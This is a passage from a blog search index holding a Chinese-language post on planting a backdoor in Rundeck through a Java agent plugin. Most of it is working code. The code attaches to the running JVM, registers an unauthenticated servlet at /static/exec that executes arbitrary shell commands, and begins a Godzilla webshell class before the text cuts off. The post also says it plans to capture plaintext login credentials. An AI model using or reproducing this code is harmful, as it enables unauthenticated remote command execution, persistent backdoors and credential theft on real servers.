-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
65 lines (31 loc) · 110 KB
/
search.xml
File metadata and controls
65 lines (31 loc) · 110 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Rundeck 实战:Java Agent 插件后门植入全流程</title>
<link href="/2026/03/08/rundeck-backdoor-for-java/"/>
<url>/2026/03/08/rundeck-backdoor-for-java/</url>
<content type="html"><![CDATA[<p>主要讲述拥有rundeck管理员权限编写并安装rundeck的JAVA插件后门以及Demo</p><span id="more"></span><hr><h2 id="Begin"><a href="#Begin" class="headerlink" title="Begin"></a>Begin</h2><p>最近碰到一个<strong>rundeck</strong>的环境,拥有管理员权限,只开放了4430端口,由于rundeck是通过<code>java -jar</code> 启动的,常规的写文件并没有用处,于是想到通过自编插件的方式用<code>java agent</code>劫持路由的方式来注入webshell以及其他的功能。本文章代码同步在Github上<a href="https://github.com/b1ackow1/Rundeck-backdoor-plugin">Rundeck-backdoor-plugin</a></p><h2 id="Principle"><a href="#Principle" class="headerlink" title="Principle"></a>Principle</h2><h3 id="使用Java-agent注入测试,看是否能劫持到路由"><a href="#使用Java-agent注入测试,看是否能劫持到路由" class="headerlink" title="使用Java agent注入测试,看是否能劫持到路由"></a>使用Java agent注入测试,看是否能劫持到路由</h3><p>根据观察,发现rundeck的插件功能和rundeck服务功能执行的用户权限都是rundeck用户权限,这就具备了前置注入条件了,省的权限不一导致我们的<code>java agent</code>没有权限读到rundeck web服务的<code>JVM</code>从而导致注入失败!</p><h4 id="劫持哪个路由?需要做什么功能?"><a href="#劫持哪个路由?需要做什么功能?" class="headerlink" title="劫持哪个路由?需要做什么功能?"></a>劫持哪个路由?需要做什么功能?</h4><p>Rundeck 是一个基于 Java 开发的运维自动化与作业调度平台,采用 Grails 框架(基于 Groovy 和 Spring)构建 Web 层,并运行在内嵌的 Jetty 容器中。<br>所以不同于tomcat,我们要对<code>Grails</code>进行注入并且劫持路由。从功能完整性来看,我们需要找到不用认证就能访问的路由。从Rundeck的代码可以看到,不需要经过认证的路由如下<a href="https://github.com/rundeck/rundeck/blob/fa377be10b6e2b1cd4b6595664355f5d9433eaab/rundeckapp/grails-app/conf/application.groovy#L114">路由配置</a>,由<code>SpringSecurity</code>做的安全访问.</p><img src="/2026/03/08/rundeck-backdoor-for-java/2026-01-31-15-14-52.png" class=""><p>我们主要关注如下几个无需认证的路由:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">/static/**</span><br><span class="line">/feed/**</span><br><span class="line">/assets/**</span><br><span class="line">/user-assets/**</span><br><span class="line">/actuator/**</span><br><span class="line">/actuator/health/**</span><br></pre></td></tr></table></figure><p>劫持这几个路由即可实现无需登录的访问入口,计划实现的功能有三个:哥斯拉/冰蝎 <code>WEBSHELL</code>、正向代理(suo5)、劫持登录路由记录明文账号密码,这三项已完全满足实战需求。</p><h3 id="完整功能实现"><a href="#完整功能实现" class="headerlink" title="完整功能实现"></a>完整功能实现</h3><h4 id="1-测试-Java-Agent-注入-JVM"><a href="#1-测试-Java-Agent-注入-JVM" class="headerlink" title="1. 测试 Java Agent 注入 JVM"></a>1. 测试 Java Agent 注入 JVM</h4><p>AttachAgent.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.test.agent;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> com.sun.tools.attach.VirtualMachine;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AttachAgent</span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="keyword">if</span>(args.length<<span class="number">1</span>){</span><br><span class="line"> System.out.println(<span class="string">"usage: java -jar agent.jar <PID>"</span>);</span><br><span class="line"> System.exit(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> String pid=args[<span class="number">0</span>];</span><br><span class="line"> String jarPath= <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">"/tmp/agent.jar"</span>).getAbsolutePath();</span><br><span class="line"> System.out.println(<span class="string">"正在附加到进程"</span>+pid+<span class="string">"..."</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">VirtualMachine</span> <span class="variable">vm</span> <span class="operator">=</span>VirtualMachine.attach(pid);</span><br><span class="line"> vm.loadAgent(jarPath);</span><br><span class="line"> vm.detach();</span><br><span class="line"> System.out.println(<span class="string">"附加成功"</span>);</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> System.err.println(<span class="string">"附加失败"</span>+e.getMessage());</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> } </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>HelloAgent.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.test.agent;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.Instrumentation;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloAgent</span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">agentmain</span><span class="params">(String args,Instrumentation inst)</span>{</span><br><span class="line"> System.out.println(<span class="string">"=================="</span>);</span><br><span class="line"> System.out.println(<span class="string">"注入HelloAgent成功 "</span>);</span><br><span class="line"> System.out.println(<span class="string">"=================="</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-04-11-06-11.png" class=""><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-04-11-07-21.png" class=""><h4 id="2-使用-Java-Agent-注入-WebShell-Servlet"><a href="#2-使用-Java-Agent-注入-WebShell-Servlet" class="headerlink" title="2. 使用 Java Agent 注入 WebShell Servlet"></a>2. 使用 Java Agent 注入 WebShell Servlet</h4><p>由于<strong>Grails</strong>框架跟spring稍微不一样,获取到<code>ServletContext</code>多了一个步骤,所以需要调试<strong>Grails</strong>框架的代码获取<code>ServletContext</code>,调用链如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Holders.getGrailsApplication() <span class="comment">// → GrailsApplication(Grails 应用核心对象)</span></span><br><span class="line"> .getMainContext() <span class="comment">// → ApplicationContext(Spring Bean 容器)</span></span><br><span class="line"> .getServletContext() <span class="comment">// → ServletContext(Servlet 上下文)</span></span><br><span class="line"> .getContextHandler() <span class="comment">// → ContextHandler(Jetty,最终目标)</span></span><br></pre></td></tr></table></figure><p>拿到<code>ContextHandler</code>之后,手法就跟我们常规的一样了,直接动态代理注册<code>Servlet</code>就好了。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.test.agent;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.instrument.Instrumentation;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloAgent</span>{</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">agentmain</span><span class="params">(String args,Instrumentation inst)</span>{</span><br><span class="line"> System.out.println(<span class="string">"=================="</span>);</span><br><span class="line"> System.out.println(<span class="string">"注册路由实现简单WEBSHELL "</span>);</span><br><span class="line"> System.out.println(<span class="string">"=================="</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> Thread.sleep(<span class="number">2000</span>); </span><br><span class="line"> </span><br><span class="line"> <span class="comment">//1. 查找ClassLoader</span></span><br><span class="line"> <span class="type">ClassLoader</span> <span class="variable">cl</span> <span class="operator">=</span> findWebClassLoader();</span><br><span class="line"> <span class="keyword">if</span> (cl==<span class="literal">null</span>){</span><br><span class="line"> System.out.println(<span class="string">"找不到 Classloader"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> System.out.println(<span class="string">"找到Classloader"</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//2.获取 ServletContext</span></span><br><span class="line"> Object servletContext=getServletContext(cl);</span><br><span class="line"> <span class="keyword">if</span> (servletContext==<span class="literal">null</span>){</span><br><span class="line"> System.out.println(<span class="string">"找不到servletcontext"</span>);</span><br><span class="line"> }</span><br><span class="line"> System.out.println(<span class="string">"找到servletcontext"</span>);</span><br><span class="line"> registerServlet(servletContext, cl);</span><br><span class="line"></span><br><span class="line"> System.out.println(<span class="string">"http://rundeck:4440/static/exec"</span>);</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> System.err.println(<span class="string">"错误"</span>+e.getMessage());</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> ClassLoader <span class="title function_">findWebClassLoader</span><span class="params">()</span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> ThreadGroup root= Thread.currentThread().getThreadGroup();</span><br><span class="line"> <span class="keyword">while</span>(root.getParent()!=<span class="literal">null</span>){</span><br><span class="line"> root=root.getParent();</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> Thread[] threads=<span class="keyword">new</span> <span class="title class_">Thread</span>[root.activeCount()*<span class="number">2</span>];</span><br><span class="line"> root.enumerate(threads,<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (Thread t : threads){</span><br><span class="line"> <span class="type">ClassLoader</span> <span class="variable">cl</span> <span class="operator">=</span> t.getContextClassLoader();</span><br><span class="line"> <span class="keyword">if</span>(cl!=<span class="literal">null</span>){</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> cl.loadClass(<span class="string">"javax.servlet.Servlet"</span>);</span><br><span class="line"> <span class="keyword">return</span> cl;</span><br><span class="line"> }<span class="keyword">catch</span>(ClassNotFoundException e){}</span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> Object <span class="title function_">getServletContext</span><span class="params">(ClassLoader cl)</span>{</span><br><span class="line"> <span class="comment">//rundeck 默认使用的Grails</span></span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> Class<?> holders=cl.loadClass(<span class="string">"grails.util.Holders"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">app</span> <span class="operator">=</span> holders.getMethod(<span class="string">"getGrailsApplication"</span>).invoke(<span class="literal">null</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">ctx</span> <span class="operator">=</span> app.getClass().getMethod(<span class="string">"getMainContext"</span>).invoke(app);</span><br><span class="line"> <span class="keyword">return</span> ctx.getClass().getMethod(<span class="string">"getServletContext"</span>).invoke(ctx);</span><br><span class="line"> </span><br><span class="line"> }<span class="keyword">catch</span>(Exception e){}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> Object <span class="title function_">getServletHandler</span><span class="params">(Object servletContext)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">Object</span> <span class="variable">contextHandler</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> contextHandler = servletContext.getClass()</span><br><span class="line"> .getMethod(<span class="string">"getContextHandler"</span>)</span><br><span class="line"> .invoke(servletContext);</span><br><span class="line"> System.out.println(<span class="string">"获取getContextHandler成功"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e1) {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> contextHandler = servletContext.getClass()</span><br><span class="line"> .getMethod(<span class="string">"getServletContextHandler"</span>)</span><br><span class="line"> .invoke(servletContext);</span><br><span class="line"> System.out.println(<span class="string">"获取getServletContextHandler成功"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e2) {</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">f</span> <span class="operator">=</span> servletContext.getClass().getDeclaredField(<span class="string">"this$0"</span>);</span><br><span class="line"> f.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> contextHandler = f.get(servletContext);</span><br><span class="line"> System.out.println(<span class="string">"获取this$0 字段成功"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (contextHandler == <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">NullPointerException</span>(<span class="string">"无法获取 ContextHandler"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> System.out.println(<span class="string">"[+] ContextHandler: "</span> + contextHandler.getClass().getName());</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取 ServletHandler</span></span><br><span class="line"> <span class="type">Object</span> <span class="variable">servletHandler</span> <span class="operator">=</span> contextHandler.getClass()</span><br><span class="line"> .getMethod(<span class="string">"getServletHandler"</span>)</span><br><span class="line"> .invoke(contextHandler);</span><br><span class="line"></span><br><span class="line"> System.out.println(<span class="string">"[+] ServletHandler: "</span> + servletHandler.getClass().getName());</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> servletHandler;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">registerServlet</span><span class="params">(Object servletContext,ClassLoader cl)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="comment">//1.获取ServletHandler</span></span><br><span class="line"> Object servletHandler=getServletHandler(servletContext);</span><br><span class="line"> System.out.println(<span class="string">"获取到servetHandler"</span>);</span><br><span class="line"> <span class="comment">//2. 创建动态代理</span></span><br><span class="line"> Class<?> servletClass=cl.loadClass(<span class="string">"javax.servlet.Servlet"</span>);</span><br><span class="line"> Class<?> holderClass= cl.loadClass(<span class="string">"org.eclipse.jetty.servlet.ServletHolder"</span>);</span><br><span class="line"> Class<?> mappingClass= cl.loadClass(<span class="string">"org.eclipse.jetty.servlet.ServletMapping"</span>);</span><br><span class="line"> System.out.println(<span class="string">"加载基础类成功."</span>);</span><br><span class="line"> <span class="comment">//3. 动态代理</span></span><br><span class="line"> Object servlet=Proxy.newProxyInstance(cl, <span class="keyword">new</span> <span class="title class_">Class</span>[]{servletClass}, <span class="keyword">new</span> <span class="title class_">InvocationHandler</span>() {</span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object proxy,Method method,Object[] args)</span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="string">"service"</span>.equals(method.getName())){</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> handlerRCE(args[<span class="number">0</span>],args[<span class="number">1</span>]); </span><br><span class="line"> }<span class="keyword">catch</span>(Exception e){}</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> Constructor<?> ctor=holderClass.getConstructor(String.class,servletClass);</span><br><span class="line"> Object hodler=ctor.newInstance(<span class="string">"ExecServlet"</span>,servlet);</span><br><span class="line"> servletHandler.getClass().getMethod(<span class="string">"addServlet"</span>,holderClass).invoke(servletHandler,hodler);</span><br><span class="line"> Object mapping=mappingClass.newInstance();</span><br><span class="line"> mapping.getClass().getMethod(<span class="string">"setServletName"</span>, String.class).invoke(mapping, <span class="string">"ExecServlet"</span>);</span><br><span class="line"> mapping.getClass().getMethod(<span class="string">"setPathSpecs"</span>, String[].class).invoke(mapping, <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"/static/exec"</span>}});</span><br><span class="line"> servletHandler.getClass().getMethod(<span class="string">"addServletMapping"</span>, mappingClass).invoke(servletHandler, mapping);</span><br><span class="line"> System.out.println(<span class="string">"成功注册ExecServlet以及路由"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">handlerRCE</span><span class="params">(Object req,Object res)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> Method getParam=req.getClass().getMethod(<span class="string">"getParameter"</span>,String.class);</span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span>(String)getParam.invoke(req, <span class="string">"cmd"</span>);</span><br><span class="line"> res.getClass().getMethod(<span class="string">"setContentType"</span>, String.class).invoke(res,<span class="string">"text/html;charset=UTF-8"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">w</span> <span class="operator">=</span> res.getClass().getMethod(<span class="string">"getWriter"</span>).invoke(res);</span><br><span class="line"> Method println=w.getClass().getMethod(<span class="string">"println"</span>, String.class);</span><br><span class="line"> <span class="keyword">if</span>(cmd==<span class="literal">null</span>||cmd.isEmpty()){</span><br><span class="line"> println.invoke(w,<span class="string">"<html><body>cmd:<br/><form method='POST'><input name='cmd' size='60' placeholder='command'/><button>exec</button></form></body></html>"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> println.invoke(w, <span class="string">"<html><body>Result:<pre>"</span>);</span><br><span class="line"> <span class="type">Process</span> <span class="variable">p</span> <span class="operator">=</span> Runtime.getRuntime().exec(<span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"/bin/sh"</span>,<span class="string">"-c"</span>,cmd});</span><br><span class="line"> java.io.<span class="type">BufferedReader</span> <span class="variable">r</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(<span class="keyword">new</span> <span class="title class_">java</span>.io.InputStreamReader(p.getInputStream()));</span><br><span class="line"> String line ;</span><br><span class="line"> <span class="keyword">while</span> ((line = r.readLine()) != <span class="literal">null</span>) {</span><br><span class="line"> println.invoke(w, line);</span><br><span class="line"> }</span><br><span class="line"> r= <span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(<span class="keyword">new</span> <span class="title class_">java</span>.io.InputStreamReader(p.getErrorStream()));</span><br><span class="line"> println.invoke(w,<span class="string">"</pre><form method='POST'><input name='cmd' size='60' value='"</span>+cmd+<span class="string">"'/><button>exec</button></form></body></html>"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-13-45-08.png" class=""><h4 id="3-添加完整功能-suo5-Godzilla-,确保功能正常"><a href="#3-添加完整功能-suo5-Godzilla-,确保功能正常" class="headerlink" title="3. 添加完整功能(suo5,Godzilla),确保功能正常"></a>3. 添加完整功能(suo5,Godzilla),确保功能正常</h4><h5 id="1-添加Godzila注入"><a href="#1-添加Godzila注入" class="headerlink" title="1. 添加Godzila注入"></a>1. 添加Godzila注入</h5><p>Godzila.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.test.agent;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GodzillaShell</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">xc</span> <span class="operator">=</span> <span class="string">"3c6e0b8a9c15224a"</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">class</span> <span class="title class_">X</span> <span class="keyword">extends</span> <span class="title class_">ClassLoader</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">X</span><span class="params">(ClassLoader z)</span> {</span><br><span class="line"> <span class="built_in">super</span>(z);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> Class<?> Q(<span class="type">byte</span>[] cb) {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">super</span>.defineClass(cb, <span class="number">0</span>, cb.length);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">class</span> <span class="title class_">PageCtx</span> {</span><br><span class="line"> <span class="keyword">private</span> Object request, response, session;</span><br><span class="line"></span><br><span class="line"> PageCtx(Object req, Object resp, Object sess) {</span><br><span class="line"> <span class="built_in">this</span>.request = req;</span><br><span class="line"> <span class="built_in">this</span>.response = resp;</span><br><span class="line"> <span class="built_in">this</span>.session = sess;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">getRequest</span><span class="params">()</span> { <span class="keyword">return</span> request; }</span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">getResponse</span><span class="params">()</span> { <span class="keyword">return</span> response; }</span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">getSession</span><span class="params">()</span> { <span class="keyword">return</span> session; }</span><br><span class="line"> 